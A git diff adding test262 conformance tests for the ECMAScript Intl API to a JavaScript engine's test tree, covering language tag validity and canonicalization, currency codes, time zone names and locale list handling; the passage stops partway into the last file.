+function getDateTimeComponents() {
+ return ["weekday", "era", "year", "month", "day", "hour", "minute", "second", "timeZoneName"];
+}
+
+
+/**
+ * Return the valid values for the given date-time component, as specified
+ * by the table in section 12.1.1.
+ * @param {string} component a date-time component.
+ * @return {Array} an array with the valid values for the component.
+ */
+
+function getDateTimeComponentValues(component) {
+
+ var components = {
+ weekday: ["narrow", "short", "long"],
+ era: ["narrow", "short", "long"],
+ year: ["2-digit", "numeric"],
+ month: ["2-digit", "numeric", "narrow", "short", "long"],
+ day: ["2-digit", "numeric"],
+ hour: ["2-digit", "numeric"],
+ minute: ["2-digit", "numeric"],
+ second: ["2-digit", "numeric"],
+ timeZoneName: ["short", "long"]
+ };
+
+ var result = components[component];
+ if (result === undefined) {
+ $ERROR("Internal error: No values defined for date-time component " + component + ".");
+ }
+ return result;
+}
+
+
+/**
+ * Tests that the given value is valid for the given date-time component.
+ * @param {string} component a date-time component.
+ * @param {string} value the value to be tested.
+ * @return {boolean} true if the test succeeds.
+ * @exception if the test fails.
+ */
+
+function testValidDateTimeComponentValue(component, value) {
+ if (getDateTimeComponentValues(component).indexOf(value) === -1) {
+ $ERROR("Invalid value " + value + " for date-time component " + component + ".");
+ }
+ return true;
+}
+
+
+/**
+ * Verifies that the actual array matches the expected one in length, elements,
+ * and element order.
+ * @param {Array} expected the expected array.
+ * @param {Array} actual the actual array.
+ * @return {boolean} true if the test succeeds.
+ * @exception if the test fails.
+ */
+function testArraysAreSame(expected, actual) {
+ for (i = 0; i < Math.max(actual.length, expected.length); i++) {
+ if (actual[i] !== expected[i]) {
+ $ERROR("Result array element at index " + i + " should be \"" +
+ expected[i] + "\" but is \"" + actual[i] + "\".");
+ }
+ }
+ return true;
+}
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/6.2.2_a.js b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_a.js
new file mode 100644
index 000000000..a56894570
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_a.js
@@ -0,0 +1,40 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that structurally valid language tags are accepted.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var validLanguageTags = [
+ "de", // ISO 639 language code
+ "de-DE", // + ISO 3166-1 country code
+ "DE-de", // tags are case-insensitive
+ "cmn", // ISO 639 language code
+ "cmn-Hans", // + script code
+ "CMN-hANS", // tags are case-insensitive
+ "cmn-hans-cn", // + ISO 3166-1 country code
+ "es-419", // + UN M.49 region code
+ "es-419-u-nu-latn-cu-bob", // + Unicode locale extension sequence
+ "i-klingon", // grandfathered tag
+ "cmn-hans-cn-t-ca-u-ca-x-t-u", // singleton subtags can also be used as private use subtags
+ "enochian-enochian", // language and variant subtags may be the same
+ "de-gregory-u-ca-gregory", // variant and extension subtags may be the same
+ "aa-a-foo-x-a-foo-bar", // variant subtags can also be used as private use subtags
+ "x-en-US-12345", // anything goes in private use tags
+ "x-12345-12345-en-US",
+ "x-en-US-12345-12345",
+ "x-en-u-foo",
+ "x-en-u-foo-u-bar"
+];
+
+testWithIntlConstructors(function (Constructor) {
+ validLanguageTags.forEach(function (tag) {
+ // this must not throw an exception for a valid language tag
+ var obj = new Constructor([tag]);
+ });
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/6.2.2_b.js b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_b.js
new file mode 100644
index 000000000..42d69e7c2
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_b.js
@@ -0,0 +1,41 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that language tags with "_" are not accepted.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var invalidLanguageTags = [
+ "de_DE",
+ "DE_de",
+ "cmn_Hans",
+ "cmn-hans_cn",
+ "es_419",
+ "es-419-u-nu-latn-cu_bob",
+ "i_klingon",
+ "cmn-hans-cn-t-ca-u-ca-x_t-u",
+ "enochian_enochian",
+ "de-gregory_u-ca-gregory"
+];
+
+testWithIntlConstructors(function (Constructor) {
+ invalidLanguageTags.forEach(function (tag) {
+ var error;
+ try {
+ // this must throw an exception for an invalid language tag
+ var obj = new Constructor([tag]);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid language tag " + tag + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid language tag " + tag + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/6.2.2_c.js b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_c.js
new file mode 100644
index 000000000..6d669ebef
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/6.2.2_c.js
@@ -0,0 +1,47 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that language tags with invalid subtag sequences are not accepted.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var invalidLanguageTags = [
+ "", // empty tag
+ "i", // singleton alone
+ "x", // private use without subtag
+ "u", // extension singleton in first place
+ "419", // region code in first place
+ "u-nu-latn-cu-bob", // extension sequence without language
+ "hans-cmn-cn", // "hans" could theoretically be a 4-letter language code,
+ // but those can't be followed by extlang codes.
+ "cmn-hans-cn-u-u", // duplicate singleton
+ "cmn-hans-cn-t-u-ca-u", // duplicate singleton
+ "de-gregory-gregory", // duplicate variant
+ "*", // language range
+ "de-*", // language range
+ "中文", // non-ASCII letters
+ "en-ß", // non-ASCII letters
+ "ıd" // non-ASCII letters
+];
+
+testWithIntlConstructors(function (Constructor) {
+ invalidLanguageTags.forEach(function (tag) {
+ var error;
+ try {
+ // this must throw an exception for an invalid language tag
+ var obj = new Constructor([tag]);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid language tag " + tag + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid language tag " + tag + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/6.2.3.js b/js/src/tests/test262/intl402/ch06/6.2/6.2.3.js
new file mode 100644
index 000000000..4ae15ab27
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/6.2.3.js
@@ -0,0 +1,69 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that language tags are canonicalized in return values.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var canonicalizedTags = {
+ "de": ["de"],
+ "de-DE": ["de-DE", "de"],
+ "DE-de": ["de-DE", "de"],
+ "cmn": ["cmn"],
+ "CMN-hANS": ["cmn-Hans", "cmn"],
+ "cmn-hans-cn": ["cmn-Hans-CN", "cmn-Hans", "cmn"],
+ "es-419": ["es-419", "es"],
+ "es-419-u-nu-latn": ["es-419-u-nu-latn", "es-419", "es", "es-u-nu-latn"],
+ // -u-ca is incomplete, so it will not show up in resolvedOptions().locale
+ "cmn-hans-cn-u-ca-t-ca-x-t-u": ["cmn-Hans-CN-t-ca-u-ca-x-t-u", "cmn-Hans-CN-t-ca-x-t-u", "cmn-Hans-CN-t-ca-x-t", "cmn-Hans-CN-t-ca", "cmn-Hans-CN", "cmn-Hans", "cmn"],
+ "enochian-enochian": ["enochian-enochian", "enochian"],
+ "de-gregory-u-ca-gregory": ["de-gregory-u-ca-gregory", "de-gregory", "de-u-ca-gregory", "de"],
+ "no-nyn": ["nn"],
+ "i-klingon": ["tlh"],
+ "sgn-GR": ["gss"],
+ "ji": ["yi"],
+ "de-DD": ["de-DE", "de"],
+ "zh-hak-CN": ["hak-CN", "hak"],
+ "sgn-ils": ["ils"],
+ "in": ["id"],
+ "x-foo": ["x-foo"]
+};
+
+// make sure the data above is correct
+Object.getOwnPropertyNames(canonicalizedTags).forEach(function (tag) {
+ canonicalizedTags[tag].forEach(function (canonicalTag) {
+ if (!isCanonicalizedStructurallyValidLanguageTag(canonicalTag)) {
+ $ERROR("Test data \"" + canonicalTag + "\" is not canonicalized and structurally valid language tag.");
+ }
+ });
+});
+
+// now the actual test
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ Object.getOwnPropertyNames(canonicalizedTags).forEach(function (tag) {
+ // use lookup locale matcher to keep the set of possible return values predictable
+
+ // Variant 1: construct an object and see whether its locale is canonicalized.
+ // In this variant, shortened forms or the default locale may be returned
+ var object = new Constructor([tag], {localeMatcher: "lookup"});
+ var locale = object.resolvedOptions().locale;
+ if (canonicalizedTags[tag].indexOf(locale) === -1 && locale !== defaultLocale) {
+ $ERROR("For " + tag + " got " + locale + "; expected one of " +
+ canonicalizedTags[tag].join(", ") + ".");
+ }
+
+ // Variant 2: get the supported locales. If the tag is supported, it should be returned canonicalized but unshortened
+ var supported = Constructor.supportedLocalesOf([tag]);
+ if (supported.length > 0 && supported[0] !== canonicalizedTags[tag][0]) {
+ $ERROR("For " + tag + " got " + supported[0] + "; expected " +
+ canonicalizedTags[tag][0] + ".");
+ }
+ });
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/6.2.4.js b/js/src/tests/test262/intl402/ch06/6.2/6.2.4.js
new file mode 100644
index 000000000..6ca47af14
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/6.2.4.js
@@ -0,0 +1,19 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the default locale is a String value representing the
+ * structurally valid and canonicalized BCP 47 language tag.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ if (!isCanonicalizedStructurallyValidLanguageTag(defaultLocale)) {
+ $ERROR("Default locale \"" + defaultLocale + "\" is not canonicalized and structurally valid language tag.");
+ }
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.2/browser.js b/js/src/tests/test262/intl402/ch06/6.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch06/6.2/shell.js b/js/src/tests/test262/intl402/ch06/6.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch06/6.3/6.3.1_a.js b/js/src/tests/test262/intl402/ch06/6.3/6.3.1_a.js
new file mode 100644
index 000000000..01cc18b03
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.3/6.3.1_a.js
@@ -0,0 +1,25 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that well-formed currency codes are accepted.
+ * @author Norbert Lindenberg
+ */
+
+var wellFormedCurrencyCodes = [
+ "BOB",
+ "EUR",
+ "usd", // currency codes are case-insensitive
+ "XdR",
+ "xTs"
+];
+
+wellFormedCurrencyCodes.forEach(function (code) {
+ // this must not throw an exception for a valid currency code
+ var format = new Intl.NumberFormat(["de-de"], {style: "currency", currency: code});
+ if (format.resolvedOptions().currency !== code.toUpperCase()) {
+ $ERROR("Currency " + code + " was not correctly accepted; turned into " +
+ format.resolvedOptions().currency + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.3/6.3.1_b.js b/js/src/tests/test262/intl402/ch06/6.3/6.3.1_b.js
new file mode 100644
index 000000000..038dd1fc4
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.3/6.3.1_b.js
@@ -0,0 +1,35 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that invalid currency codes are not accepted.
+ * @author Norbert Lindenberg
+ */
+
+var invalidCurrencyCodes = [
+ "",
+ "€",
+ "$",
+ "SFr.",
+ "DM",
+ "KR₩",
+ "702",
+ "ßP",
+ "ınr"
+];
+
+invalidCurrencyCodes.forEach(function (code) {
+ var error;
+ try {
+ // this must throw an exception for an invalid currency code
+ var format = new Intl.NumberFormat(["de-de"], {style: "currency", currency: code});
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid currency code '" + code + "' was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid currency code '" + code + "' was rejected with wrong error " + error.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.3/browser.js b/js/src/tests/test262/intl402/ch06/6.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.3/browser.js
diff --git a/js/src/tests/test262/intl402/ch06/6.3/shell.js b/js/src/tests/test262/intl402/ch06/6.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.3/shell.js
diff --git a/js/src/tests/test262/intl402/ch06/6.4/6.4_a.js b/js/src/tests/test262/intl402/ch06/6.4/6.4_a.js
new file mode 100644
index 000000000..05202353c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.4/6.4_a.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that valid time zone names are accepted.
+ * @author Norbert Lindenberg
+ */
+
+var validTimeZoneNames = [
+ "UTC",
+ "utc" // time zone names are case-insensitive
+];
+
+validTimeZoneNames.forEach(function (name) {
+ // this must not throw an exception for a valid time zone name
+ var format = new Intl.DateTimeFormat(["de-de"], {timeZone: name});
+ if (format.resolvedOptions().timeZone !== name.toUpperCase()) {
+ $ERROR("Time zone name " + name + " was not correctly accepted; turned into " +
+ format.resolvedOptions().timeZone + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.4/6.4_b.js b/js/src/tests/test262/intl402/ch06/6.4/6.4_b.js
new file mode 100644
index 000000000..847d804e3
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.4/6.4_b.js
@@ -0,0 +1,34 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that invalid time zone names are not accepted.
+ * @author Norbert Lindenberg
+ */
+
+var invalidTimeZoneNames = [
+ "",
+ "MEZ", // localized abbreviation
+ "Pacific Time", // localized long form
+ "cnsha", // BCP 47 time zone code
+ "invalid", // as the name says
+ "Europe/İstanbul", // non-ASCII letter
+ "asıa/baku", // non-ASCII letter
+ "europe/brußels" // non-ASCII letter
+];
+
+invalidTimeZoneNames.forEach(function (name) {
+ var error;
+ try {
+ // this must throw an exception for an invalid time zone name
+ var format = new Intl.DateTimeFormat(["de-de"], {timeZone: name});
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid time zone name " + name + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid time zone name " + name + " was rejected with wrong error " + error.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.4/6.4_c.js b/js/src/tests/test262/intl402/ch06/6.4/6.4_c.js
new file mode 100644
index 000000000..a9969b648
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.4/6.4_c.js
@@ -0,0 +1,36 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that additional time zone names, if accepted, are handled correctly.
+ * @author Norbert Lindenberg
+ */
+
+// canonicalization specified in conformance clause
+var additionalTimeZoneNames = {
+ "Etc/GMT": "UTC",
+ "Greenwich": "UTC",
+ "PRC": "Asia/Shanghai",
+ "AmErIcA/LoS_aNgElEs": "America/Los_Angeles",
+ "etc/gmt+7": "Etc/GMT+7"
+};
+
+Object.getOwnPropertyNames(additionalTimeZoneNames).forEach(function (name) {
+ var format, error;
+ try {
+ format = new Intl.DateTimeFormat([], {timeZone: name});
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ var actual = format.resolvedOptions().timeZone;
+ var expected = additionalTimeZoneNames[name];
+ if (actual !== expected) {
+ $ERROR("Time zone name " + name + " was accepted, but incorrectly canonicalized to " +
+ actual + "; expected " + expected + ".");
+ }
+ } else if (error.name !== "RangeError") {
+ $ERROR("Time zone name " + name + " was rejected with wrong error " + error.name + ".");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch06/6.4/browser.js b/js/src/tests/test262/intl402/ch06/6.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.4/browser.js
diff --git a/js/src/tests/test262/intl402/ch06/6.4/shell.js b/js/src/tests/test262/intl402/ch06/6.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/6.4/shell.js
diff --git a/js/src/tests/test262/intl402/ch06/browser.js b/js/src/tests/test262/intl402/ch06/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/browser.js
diff --git a/js/src/tests/test262/intl402/ch06/shell.js b/js/src/tests/test262/intl402/ch06/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch06/shell.js
diff --git a/js/src/tests/test262/intl402/ch08/8.0/8.0.js b/js/src/tests/test262/intl402/ch08/8.0/8.0.js
new file mode 100644
index 000000000..dedda973b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/8.0/8.0.js
@@ -0,0 +1,12 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl has Object.prototype as its prototype.
+ * @author Norbert Lindenberg
+ */
+
+if (Object.getPrototypeOf(Intl) !== Object.prototype) {
+ $ERROR("Intl doesn't have Object.prototype as its prototype.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch08/8.0/8.0_L15.js b/js/src/tests/test262/intl402/ch08/8.0/8.0_L15.js
new file mode 100644
index 000000000..0174bef54
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/8.0/8.0_L15.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(fnGlobalObject().Intl, false, false, []);
+testBuiltInObject(Intl, false, false, ["Collator", "NumberFormat", "DateTimeFormat"]);
+
diff --git a/js/src/tests/test262/intl402/ch08/8.0/browser.js b/js/src/tests/test262/intl402/ch08/8.0/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/8.0/browser.js
diff --git a/js/src/tests/test262/intl402/ch08/8.0/shell.js b/js/src/tests/test262/intl402/ch08/8.0/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/8.0/shell.js
diff --git a/js/src/tests/test262/intl402/ch08/browser.js b/js/src/tests/test262/intl402/ch08/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/browser.js
diff --git a/js/src/tests/test262/intl402/ch08/shell.js b/js/src/tests/test262/intl402/ch08/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch08/shell.js
diff --git a/js/src/tests/test262/intl402/ch09/9.1/9.1_a.js b/js/src/tests/test262/intl402/ch09/9.1/9.1_a.js
new file mode 100644
index 000000000..b7358304b
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.1/9.1_a.js
@@ -0,0 +1,18 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that default locale is available.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var supportedLocales = Constructor.supportedLocalesOf([defaultLocale]);
+ if (supportedLocales.indexOf(defaultLocale) === -1) {
+ $ERROR("Default locale is not reported as available.");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.1/9.1_b.js b/js/src/tests/test262/intl402/ch09/9.1/9.1_b.js
new file mode 100644
index 000000000..a0abc7fc1
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.1/9.1_b.js
@@ -0,0 +1,32 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that appropriate fallback locales are provided for
+ * supported locales.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var info = getLocaleSupportInfo(Constructor);
+ var fallback;
+ info.supported.forEach(function (locale) {
+ var pos = locale.lastIndexOf("-");
+ if (pos !== -1) {
+ fallback = locale.substring(0, pos);
+ if (info.supported.indexOf(fallback) === -1) {
+ $ERROR("Locale " + locale + " is supported, but fallback " + fallback + " isn't.");
+ }
+ }
+ var match = /([a-z]{2,3})(-[A-Z][a-z]{3})(-[A-Z]{2})/.exec(locale);
+ if (match !== null) {
+ fallback = match[1] + match[3];
+ if (info.supported.indexOf(fallback) === -1) {
+ $ERROR("Locale " + locale + " is supported, but fallback " + fallback + " isn't.");
+ }
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.1/browser.js b/js/src/tests/test262/intl402/ch09/9.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.1/browser.js
diff --git a/js/src/tests/test262/intl402/ch09/9.1/shell.js b/js/src/tests/test262/intl402/ch09/9.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.1/shell.js
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_1.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_1.js
new file mode 100644
index 000000000..7386fdeda
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_1.js
@@ -0,0 +1,23 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that canonicalization of locale lists treats undefined and empty lists the same.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var supportedForUndefined = Constructor.supportedLocalesOf(undefined);
+ var supportedForEmptyList = Constructor.supportedLocalesOf([]);
+ if (supportedForUndefined.length !== supportedForEmptyList.length) {
+ $ERROR("Supported locales differ between undefined and empty list input.");
+ }
+ // we don't compare the elements because length should be 0 - let's just verify that
+ if (supportedForUndefined.length !== 0) {
+ $ERROR("Internal test error: Assumption about length being 0 is invalid.");
+ }
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_2.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_2.js
new file mode 100644
index 000000000..e4fb3756d
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_2.js
@@ -0,0 +1,21 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the behavior of a List is not affected by adversarial
+ * changes to Array.prototype.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintArray();
+
+testWithIntlConstructors(function (Constructor) {
+ var defaultLocale = new Constructor().resolvedOptions().locale;
+ var canonicalized = Constructor.supportedLocalesOf([defaultLocale, defaultLocale]);
+ if (canonicalized.length > 1) {
+ $ERROR("Canonicalization didn't remove duplicate language tags from locale list.");
+ }
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_3.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_3.js
new file mode 100644
index 000000000..e403b1765
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_3.js
@@ -0,0 +1,87 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that a single string instead of a locale list is treated
+ * as the locale list containing that string.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var validAndInvalidLanguageTags = [
+ "de", // ISO 639 language code
+ "de-DE", // + ISO 3166-1 country code
+ "DE-de", // tags are case-insensitive
+ "cmn", // ISO 639 language code
+ "cmn-Hans", // + script code
+ "CMN-hANS", // tags are case-insensitive
+ "cmn-hans-cn", // + ISO 3166-1 country code
+ "es-419", // + UN M.49 region code
+ "es-419-u-nu-latn-cu-bob", // + Unicode locale extension sequence
+ "i-klingon", // grandfathered tag
+ "cmn-hans-cn-t-ca-u-ca-x-t-u", // singleton subtags can also be used as private use subtags
+ "enochian-enochian", // language and variant subtags may be the same
+ "de-gregory-u-ca-gregory", // variant and extension subtags may be the same
+ "de_DE",
+ "DE_de",
+ "cmn_Hans",
+ "cmn-hans_cn",
+ "es_419",
+ "es-419-u-nu-latn-cu_bob",
+ "i_klingon",
+ "cmn-hans-cn-t-ca-u-ca-x_t-u",
+ "enochian_enochian",
+ "de-gregory_u-ca-gregory",
+ "i", // singleton alone
+ "x", // private use without subtag
+ "u", // extension singleton in first place
+ "419", // region code in first place
+ "u-nu-latn-cu-bob", // extension sequence without language
+ "hans-cmn-cn", // "hans" could theoretically be a 4-letter language code,
+ // but those can't be followed by extlang codes.
+ "cmn-hans-cn-u-u", // duplicate singleton
+ "cmn-hans-cn-t-u-ca-u", // duplicate singleton
+ "de-gregory-gregory" // duplicate variant
+];
+
+testWithIntlConstructors(function (Constructor) {
+ validAndInvalidLanguageTags.forEach(function (locale) {
+ var obj1, obj2, locale1, locale2, error1, error2;
+ try {
+ obj1 = new Constructor(locale);
+ locale1 = obj1.resolvedOptions().locale;
+ } catch (e) {
+ error1 = e;
+ }
+ try {
+ obj2 = new Constructor([locale]);
+ locale2 = obj2.resolvedOptions().locale;
+ } catch (e) {
+ error2 = e;
+ }
+
+ if ((error1 === undefined) !== (error2 === undefined)) {
+ if (error1 === undefined) {
+ $ERROR("Single locale string " + locale +
+ " was accepted, but locale list containing that string wasn't.");
+ } else {
+ $ERROR("Single locale string " + locale +
+ " was rejected, but locale list containing that string wasn't.");
+ }
+ } else if (error1 === undefined) {
+ if (locale1 !== locale2) {
+ $ERROR("Single locale string " + locale + " results in " + locale1 +
+ ", but locale list [" + locale + "] results in " + locale2 + ".");
+ }
+ } else {
+ if (error1.name !== error2.name) {
+ $ERROR("Single locale string " + locale + " results in error " + error1.name +
+ ", but locale list [" + locale + "] results in error " + error2.name + ".");
+ }
+ }
+ });
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_4.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_4.js
new file mode 100644
index 000000000..b9bb9db79
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_4.js
@@ -0,0 +1,46 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that non-objects are converted to objects before canonicalization.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ // undefined is handled separately
+
+ // null should result in a TypeError
+ var error;
+ try {
+ var supportedForNull = Constructor.supportedLocalesOf(null);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Null as locale list was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Null as locale list was rejected with wrong error " + error.name + ".");
+ }
+
+ // let's use an empty list for comparison
+ var supportedForEmptyList = Constructor.supportedLocalesOf([]);
+ // we don't compare the elements because length should be 0 - let's just verify that
+ if (supportedForEmptyList.length !== 0) {
+ $ERROR("Internal test error: Assumption about length being 0 is invalid.");
+ }
+
+ // most non-objects will be interpreted as empty lists because a missing length property is interpreted as 0
+ var supportedForNumber = Constructor.supportedLocalesOf(5);
+ if (supportedForNumber.length !== supportedForEmptyList.length) {
+ $ERROR("Supported locales differ between numeric and empty list input.");
+ }
+ var supportedForBoolean = Constructor.supportedLocalesOf(true);
+ if (supportedForBoolean.length !== supportedForEmptyList.length) {
+ $ERROR("Supported locales differ between boolean and empty list input.");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_ii.js b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_ii.js
new file mode 100644
index 000000000..8dfb9b7b3
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch09/9.2/9.2.1_8_c_ii.js
@@ -0,0 +1,30 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
